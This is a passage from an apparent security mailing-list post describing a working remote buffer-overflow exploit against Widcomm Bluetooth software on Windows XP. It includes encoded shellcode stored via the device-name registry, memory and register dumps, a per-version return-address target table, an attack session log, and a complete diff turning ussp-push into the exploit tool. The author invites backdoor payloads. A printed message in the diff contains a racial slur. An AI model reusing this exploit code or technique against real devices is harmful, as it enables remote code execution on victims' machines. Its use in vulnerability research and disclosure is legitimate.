the EIP address. This is done by sending a valid file via PIM Transfer. When a connection is made
the registry is queried for the device name. If this name exists it will be used in the
notification balloon that indicates a connection was made. If no registry entry is available
<No Name> will be used and a query to resolve the name will be placed.
This portion of the population phase can be recognised by the following message.
Bluetooth device '<No Name>' is connected to the 'PIM Item Transfer' service on this computer.
At this point as mentioned above a call has been made to resolve the Bluetooth name of the remote
device that connected to the PIM Transer service. Once this call has been completed the name will
be stored in the registry location shown below. Upon subsequent connections this entry will be
displayed in the notification balloon.
Below is an example of MsgBox shellcode from Skylined encoded via ShikataGaNai as it is stored in
the registry after a name resolution.
[HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\Devic es\00:11:b1:07:be:a7]
"Name"=hex:2b,c9,da,cd,d9,74,24,f4,5f,b1,33,b8,d1,f7,19, b7,31,47,15,83,c7,04,\
03,96,e6,fb,42,e4,38,3c,c8,9f,7b,8c,9a,df,77,67,ec ,c3,2a,fc,65,f3,5c,6f,1a,\
03,9d,07,d1,31,b3,b3,7d,40,b8,5e,0c,fe,85,d0,57,16 ,07,fa,ce,e6,f8,fb,67,09,\
71,3e,46,07,d0,29,af,a7,d5,a9,f3,e6,81,fa,c9,e8,c1 ,d8,2d,e8,11,62,62,a4,31,\
3d,35,61,60,9d,8b,c5,d1,98,5f,9a,96,76,28,04,68,25 ,ed,64,28,8c,a1,2b,e2,49,\
1a,e7,b5,75,0f,54,64,76,fd,e1,9a,7a,c8,ef,b3,8c,ca ,0f,44,a2,0a,5f,cd,39,31,\
36,d0,83,7c,20,ea,03,81,b0,bd,54,0a,f5,7d,d0,58,f0 ,05,e7,8a,a8,7e,b5,6a,4d,\
6b,0b,ab,7c,a2,2d,a0,4a,be,af,58,83,41,6e,6b,f0,11 ,70,b3,73,a9,06,cd,42,f5,\
9c,db,ee,82,05,38,0f,7e,df,cb,03,cb,ab,96,07,ca,40 ,ad,33,47,97,5a,64,09,67,\
7a,9a,00
Next a secondary connection is made in order to actually trigger the overflow. This connection
consists of our desired return address repeated over and over being cramed into the remote file
name buffer. During the study of different exploitation attempts I found that my return address
was not often alligned as I expected or in the location that I expected. I found that repeating it
over and over helped stabilize my attempts. Deciding upon a static length for the filename also
seemed to help keep things alligned properly. The initial 272 bytes I send as a repeated return
address seems to be duplicated several times in succession in memory. The EIP seemes to be chosen
semi randomly from the area below represented in the block of memory between 0x0053C9F7 and
0x0053CCF7.
0053C9A7 00 00 00 00 00 00 43 00 3A 00 5C 00 44 00 4F 00 ......C.:.\.D.O.
0053C9B7 43 00 55 00 4D 00 45 00 7E 00 31 00 5C 00 41 00 C.U.M.E.~.1.\.A.
0053C9C7 44 00 4D 00 49 00 4E 00 49 00 7E 00 31 00 5C 00 D.M.I.N.I.~.1.\.
0053C9D7 4C 00 4F 00 43 00 41 00 4C 00 53 00 7E 00 31 00 L.O.C.A.L.S.~.1.
0053C9E7 5C 00 54 00 65 00 6D 00 70 00 5C 00 41 5A 43 42 \.T.e.m.p.\.AZCB
0053C9F7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA07 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA17 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA27 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA37 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA47 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA57 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA67 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA77 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA87 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA97 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAA7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAB7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAC7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAD7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAE7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAF7 41 44 43 42 41 44 43 42 41 44 43 42 FF 44 5A 07 ADCBADCBADCBÿDZ
0053CB07 41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42 AZCBADCBADCBADCB
0053CB17 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB27 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB37 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB47 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB57 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB67 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB77 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB87 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB97 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBA7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBB7 41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42 AZCBADCBADCBADCB
0053CBC7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBD7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBE7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBF7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC07 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC17 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC27 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC37 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC47 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC57 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC67 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC77 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC87 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC97 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCA7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCB7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCC7 FF 44 5A 07 41 5A 43 42 41 44 43 42 41 44 43 42 ÿDZAZCBADCBADCB
0053CCD7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCE7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCF7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
Please note that some of the bytes were corrupted above. In some cases 0x07 and 0xff randomly
overwrote portions of our string. This would obviously corrupt any shellcode that was put into
this buffer. After I stopped trying to cram shellcode here I found that on occasion this also
caused undesired return addresses to be used rather than the one I specified. The letter "Z" is
in some cases prepended to our buffer to help compensate for the corruption.
Once the return address has been stabilized things should look similar to the following upon
EIP activation.
EAX 00000004
ECX 00008000
EDX 00000036
EBX 0038F6E8 ASCII "0"
ESP 01F7FF3C
EBP 01F7FF80
ESI 0038C510 ASCII "("
EDI 00000001
EIP 41424344
Our shellcode seems to be in several locations however only a few of them do not contain nulls.
Across multiple versions and service packs the shellcode consistantly lands on an address with
3 static bits 0x01??f74e. You can see this trend below in the targets section from my exploit.
The shellcode location should contain the contents of the Bluetooth device name as it was stored
in the registry.
With a debugger attached to BTStackServer.exe we can attempt to activate the EIP and point it at
our shellcode.
animosity:/home/kfinisterre/ussp-push-0.4-kf# hcitool scan
Scanning ...
00:0A:3A:54:71:95 NEW-THREAT
animosity:/home/kfinisterre/ussp-push-0.4-kf# sdptool search OPUSH
00:0A:3A:54:71:95
Inquiring ...
Searching for OPUSH on 00:0A:3A:54:71:95 ...
Service Name: PIM Item Transfer
Service RecHandle: 0x10004
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100
....
animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push
BluePIMped v0.1
Usage: ./ussp-push {DEVICE, BTADDR@BTCHAN} LFILE RFILE
DEVICE = RFCOMM TTY device file
BTADDR@BTCHAN = BlueTooth address/name and OBEX channel
TARGET = Target number
Types:
0 [0x01abf74e]: [ XP Pro SP0 - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]
1 [0x019bf74e]: [ XP Pro SP0 - Actiontec Bluetooth Software (ver 1.1 cd label) ]
2 [0x019bf74e]: [ XP Pro SP0 - Belkin Bluetooth Software 1.4.2 Build 10 ]
3 [0x0197f74e]: [ XP Pro SP1a - Belkin Bluetooth Software 1.4.2 Build 10 ]
4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
5 [0x41424344]: [ Crash ]
animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push 00:0A:3A:54:71:95@3 4
[-] Selected target:
4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
name=/etc/hosts, size=257
Registered transport
set user data
created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)
started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!
Connection return code: 0, id: 0
Connection established
connected to server
Sending file: YouAreBeingPwnedViaBlueTooth, path: /etc/hosts, size: 257
reqdone
Command (02) has now finished, rsp: 20reqdone
Command (01) has now finished, rsp: 20Disconnect done!
sleeping 3 seconds before triggering the shellcode
name=/etc/hosts, size=257
Registered transport
set user data
created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)
started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!
Connection return code: 0, id: 0
Connection established
connected to server
Sending file:
ZZZ÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷ N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N
÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷ N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷
N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N,
path: /etc/hosts, size: 257
Made some progress...
Peace nigga...
After the malformed request is sent my debugger paused with an Access violation when writing to
[00713000]. You can safely pass this exception on to the program. This is a good time to verify
that your shellcode is where you expect it to be.
0199F74E 2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7 +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E 31 47 15 83 C7 04 03 96 E6 FB 42 E4 38 3C C8 9F 1GƒÇ–æûBä8<ÈŸ
0199F76E 7B 8C 9A DF 77 67 EC C3 2A FC 65 F3 5C 6F 1A 03 {ŒšßwgìÃ*üeó\o
0199F77E 9D 07 D1 31 B3 B3 7D 40 B8 5E 0C FE 85 D0 57 16 ?Ñ1³³}@¸^.þ…ÐW
0199F78E 07 FA CE E6 F8 FB 67 09 71 3E 46 07 D0 29 AF A7 úÎæøûg.q>FÐ)¯§
0199F79E D5 A9 F3 E6 81 FA C9 E8 C1 D8 2D E8 11 62 62 A4 Õ©óæ?úÉèÁØ-èbb¤
0199F7AE 31 3D 35 61 60 9D 8B C5 D1 98 5F 9A 96 76 28 04 1=5a`?‹Åј_š–v(
0199F7BE 68 25 ED 64 28 8C A1 2B E2 49 1A E7 B5 75 0F 54 h%íd(Œ¡+âIçµuT
0199F7CE 64 76 FD E1 9A 7A C8 EF B3 8C CA 0F 44 A2 0A 5F dvýášzÈﳌÊD¢._
0199F7DE CD 39 31 36 D0 83 7C 20 EA 03 81 B0 BD 54 0A F5 Í916Ѓ| ê?°½T.õ
0199F7EE 7D D0 58 F0 05 E7 8A A8 7E B5 6A 4D 6B 0B AB 7C }ÐXð犨~µjMk «|
0199F7FE A2 2D A0 4A BE AF 58 83 41 6E 6B F0 11 70 B3 73 ¢- J¾¯XƒAnkðp³s
0199F80E A9 06 CD 42 F5 9C DB EE 82 05 38 0F 7E DF CB 03 ©ÍBõœÛî‚8~ßË
0199F81E CB AB 96 07 CA 40 AD 33 47 97 5A 64 09 67 7A 9A Ë«–Ê@*3G—Zd.gzš
Immediately after passing the exception control should be handed over to us. We should jump into
the code we stored in the Bluetooth name buffer. Skylined's code will to do its magic and the real
intent of our payload is revealed.
0199F74E 2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7 +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E 31 47 15 83 C7 04 03 47 11 E2 F5 FC 31 C0 64 8B 1GƒÇGâõü1Àd‹
0199F76E 40 30 8B 40 0C 8B 70 1C AD 8B 68 08 68 6C 6C 00 @0‹@.‹p *‹hhll.
0199F77E 00 68 33 32 2E 64 68 75 73 65 72 54 BB 71 A7 E8 .h32.dhuserT»q§è
0199F78E FE E8 56 00 00 00 89 EF 89 C5 31 D2 52 E8 06 00 þèV...‰ï‰Å1ÒRè.
0199F79E 00 00 43 41 54 53 3A 00 E8 25 00 00 00 41 4C 4C ..CATS:.è%...ALL
0199F7AE 20 59 4F 55 52 20 42 4C 55 45 54 4F 4F 54 48 20 YOUR BLUETOOTH
0199F7BE 41 52 45 20 42 45 4C 4F 4E 47 20 54 4F 20 55 53 ARE BELONG TO US
0199F7CE 2E 00 52 BB E2 0C C9 FA E8 0F 00 00 00 31 C0 50 ..R»â.Éúè...1ÀP
0199F7DE 89 FD BB 69 1D 42 3A E8 00 00 00 00 56 57 8B 45 ‰ý»i B:è....VW‹E
0199F7EE 3C 8B 54 05 78 01 EA 52 8B 52 20 01 EA 31 C0 31 <‹TxêR‹R ê1À1
0199F7FE C9 41 8B 34 8A 01 EE 31 FF C1 CF 13 AC 01 C7 85 ÉA‹4Šî1ÿÁϬDž
0199F80E C0 75 F6 39 DF 75 EA 5A 8B 5A 24 01 EB 66 8B 0C Àuö9ßuêZ‹Z$ëf‹.
0199F81E 4B 8B 5A 1C 01 EB 8B 04 8B 01 E8 5F 5E FF E0 00 K‹Z ë‹‹è_^ÿà.
At this point the user of the machine should be greeted with a nice message box window titled
"CATS:" with the message "ALL YOUR BLUETOOTH ARE BELONG TO US.". Obviously any payload can be
plugged into the exploit keeping in mind space limitations of the various buffers.
In an ideal situation the initial phase that places the shellcode in the registry should be
used as an chance to upload a binary with some sort of backdoor functionality as well as a
scripted procedure to kill BTTray and restart it. Any uploaded binary would reside in
"%USERPROFILE%"\mydocu~1\blueto~1 by default so shellcode that can resolve that path and execute
a binary there would be very useful (hint hint email me some shellcode if anyone is bored).
I have toyed around with payloads that flip a few bits in SOFTWARE\Widcomm\BTConfig\Services\\000?,
SOFTWARE\Widcomm\General\UseFixedPIN and SOFTWARE\Widcomm\General\PinCode. However I have not yet
come upon a payload that would be as functional as %USERPROFILE% execution code.
I hope this document will help clear up some of the myths about the potential wormability of the
Widcomm Bluetooth bugs. I also hope that Vendors that still distribute dongles with vulnerable
software will step up to the plate and help eliminate this threat. Vendors...please put an end to
the license.dat issues that prevent so many users from upgrading their Widcomm software.
Please see the proof of concept patch to ussp-push-0.4 published at
http://www.digitalmunition.com/BluePIMped.diff
kfinisterre@animosity:~$ tar -zxvf ussp-push-0.4.tar.gz
ussp-push-0.4/
ussp-push-0.4/COPYING
ussp-push-0.4/Makefile
ussp-push-0.4/doc/
ussp-push-0.4/doc/README
ussp-push-0.4/doc/ussp-push.html
ussp-push-0.4/obex_main.c
ussp-push-0.4/obex_socket.c
ussp-push-0.4/obex_socket.h
kfinisterre@animosity:~$ cat BluePIMped.diff | patch -p0
patching file ussp-push-0.4/obex_main.c
-KF
--------------030606000007020203060907
Content-Type: text/plain;
name="BluePIMped.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="BluePIMped.diff"
--- ussp-push-0.4/obex_main.c 2005-06-01 18:32:59.000000000 -0400
+++ ussp-push-0.4-kf/obex_main.c 2005-12-03 11:49:32.000000000 -0500
@@ -1,4 +1,10 @@
/*
+ http://www.digitalmunition.com
+ Moded by KF (kf_lists[at]digitalmunition[dot]com) to exploit the Widcomm Overflows from PenTest.
+ http://www.pentest.co.uk/documents/ptl-2004-03.html
+
+*/
+/*
* UNrooted.net example code
*
* Most of these functions are just rips from the Affix Bluetooth project OBEX
@@ -62,7 +68,10 @@
#include "obex_socket.h"
-#define UPUSH_APPNAME "ussp-push v0.4"
+#include <bluetooth/hci.h>
+#include <bluetooth/hci_lib.h>
+
+#define UPUSH_APPNAME "BluePIMped v0.1"
#define BT_SERVICE "OBEX"
#define OBEX_PUSH 5
@@ -316,6 +325,9 @@
switch (event) {
case OBEX_EV_PROGRESS:
printf("Made some progress...\n");
+ sleep(3);
+ printf("Peace nigga...\n");
+ exit(0);
break;
case OBEX_EV_ABORT:
@@ -382,9 +394,7 @@
name = remote;
name_len = (strlen(name)+1)<<1;
- if( (namebuf = g_malloc(name_len)) ) {
- OBEX_CharToUnicode(namebuf, name, name_len);
- }
+ namebuf = name; // Thanks Mark! If you had not mentioned client side unicode i'd still be stuck messing with venetian shellcode.
buf = easy_readfile(path, &file_size);
if(buf == NULL) {
@@ -424,6 +434,24 @@
return err;
}
+static void set_device_name(int ctl, int hdev, char *opt) // Johnh as usual...
+{
+ int s = hci_open_dev(hdev);
+
+ if (s < 0) {
+ fprintf(stderr, "Can't open device hci%d: %s (%d)\n",
+ hdev, strerror(errno), errno);
+ exit(1);
+ }
+ if (opt) {
+ if (hci_write_local_name(s, opt, 2000) < 0) {
+ fprintf(stderr, "Can't change local name on hci%d: %s (%d)\n",
+ hdev, strerror(errno), errno);
+ exit(1);
+ }
+ }
+
+}
/*
* That's all there is to it. With it all setup like this all I have to do
@@ -434,19 +462,87 @@
int main( int argc, char **argv )
{
- if ( argc != 4 ) {
- printf("%s\n\n"
- "Usage: %s {DEVICE, BTADDR@BTCHAN} LFILE RFILE\n\n"
- "\tDEVICE = RFCOMM TTY device file\n"
- "\tBTADDR@BTCHAN = BlueTooth address/name and OBEX channel\n"
- "\tLFILE = Local file path\n"
- "\tRFILE = Remote file name\n\n",
- UPUSH_APPNAME, argv[0]);
+/*
+ The following may be necessary in hcid.conf to prevent the pairing prompts.
+
+ # Authentication and Encryption (Security Mode 3)
+ auth disable;
+ encrypt disable;
+*/
+
+ struct
+ {
+ char *os;
+ u_long ret;
+ }
+ targets[] =
+ {
+ { "[ XP Pro SP0 - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]", 0x01abf74e },
+ { "[ XP Pro SP0 - Actiontec Bluetooth Software (ver 1.1 cd label) ]", 0x019bf74e },
+ { "[ XP Pro SP0 - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x019bf74e },
+ { "[ XP Pro SP1a - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x0197f74e },
+ { "[ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x0199f74e },
+ { "[ Crash ]", 0x41424344 },
+ }, v;
+
+ if ( argc != 3 ) {
+ printf("%s\nUsage: %s {DEVICE, BTADDR@BTCHAN} LFILE RFILE\n\n\tDEVICE = RFCOMM TTY device file\n\tBTADDR@BTCHAN = BlueTooth address/name and OBEX channel\n\tTARGET = Target number\n",UPUSH_APPNAME,argv[0]);
+ printf("Types:\n");
+ int i;
+ for(i = 0; i < sizeof(targets)/sizeof(v); i++)
+ printf("%d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
+
return( -1 );
}
- printf( "pushing file %s\n", argv[2] );
- if ( obex_push( (void *)argv[1], argv[2], argv[3] ) != 0 ) {
+ /* http://www.edup.tudelft.nl/~bjwever/ - w32_popup_ExitThread.c */
+ /* Size=224 Encoder=ShikataGaNai http://metasploit.com */
+ /* CATS: ALL YOUR BLUETOOTH ARE BELONG TO US. */
+ /* this still crashes the BTStackServer.exe... but oh well */
+ unsigned char scode[] =
+ "\x2b\xc9\xda\xcd\xd9\x74\x24\xf4\x5f\xb1\x33\xb8\x d1\xf7\x19\xb7"
+ "\x31\x47\x15\x83\xc7\x04\x03\x96\xe6\xfb\x42\xe4\x 38\x3c\xc8\x9f"
+ "\x7b\x8c\x9a\xdf\x77\x67\xec\xc3\x2a\xfc\x65\xf3\x 5c\x6f\x1a\x03"
+ "\x9d\x07\xd1\x31\xb3\xb3\x7d\x40\xb8\x5e\x0c\xfe\x 85\xd0\x57\x16"
+ "\x07\xfa\xce\xe6\xf8\xfb\x67\x09\x71\x3e\x46\x07\x d0\x29\xaf\xa7"
+ "\xd5\xa9\xf3\xe6\x81\xfa\xc9\xe8\xc1\xd8\x2d\xe8\x 11\x62\x62\xa4"
+ "\x31\x3d\x35\x61\x60\x9d\x8b\xc5\xd1\x98\x5f\x9a\x 96\x76\x28\x04"
+ "\x68\x25\xed\x64\x28\x8c\xa1\x2b\xe2\x49\x1a\xe7\x b5\x75\x0f\x54"
+ "\x64\x76\xfd\xe1\x9a\x7a\xc8\xef\xb3\x8c\xca\x0f\x 44\xa2\x0a\x5f"
+ "\xcd\x39\x31\x36\xd0\x83\x7c\x20\xea\x03\x81\xb0\x bd\x54\x0a\xf5"
+ "\x7d\xd0\x58\xf0\x05\xe7\x8a\xa8\x7e\xb5\x6a\x4d\x 6b\x0b\xab\x7c"
+ "\xa2\x2d\xa0\x4a\xbe\xaf\x58\x83\x41\x6e\x6b\xf0\x 11\x70\xb3\x73"
+ "\xa9\x06\xcd\x42\xf5\x9c\xdb\xee\x82\x05\x38\x0f\x 7e\xdf\xcb\x03"
+ "\xcb\xab\x96\x07\xca\x40\xad\x33\x47\x97\x5a\x64\x 09\x67\x7a\x9a";
+
+ set_device_name(0,0,scode);
+ //printf("RENAME DONE: SET NEW NAME TO %s\n",scode);
+ //printf( "pushing file.\n");
+
+ char buf[3000];
+ memset(buf,'\0',sizeof(buf));
+ memset(buf,'Z',3); // Sometimes u need 3 z's
+
+ int type = atoi(argv[2]);
+ if(type)
+ {
+ printf("[-] Selected target:\n");
+ printf(" %d [0x%.8x]: %s\n", type, targets[type].ret, targets[type].os);
+ }
+
+ int x;
+ for(x=0; x<=122; x=x+1)
+ {
+ memcpy(buf+3+(x*4), (unsigned char *) &targets[type].ret, 4);
+ }
+ // Populate HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\Devic es\<bdaddr>\Name with shellcode
+ if ( obex_push( (void *)argv[1], "/etc/hosts", "YouAreBeingPwnedViaBlueTooth") != 0 ) {
+ printf( "error\n" );
+ return( -1 );
+ }
+ printf("\nsleeping 3 seconds before triggering the shellcode\n");
+ sleep(3);
+ if ( obex_push( (void *)argv[1], "/etc/hosts", buf ) != 0 ) {
printf( "error\n" );
return( -1 );
}
--------------030606000007020203060907--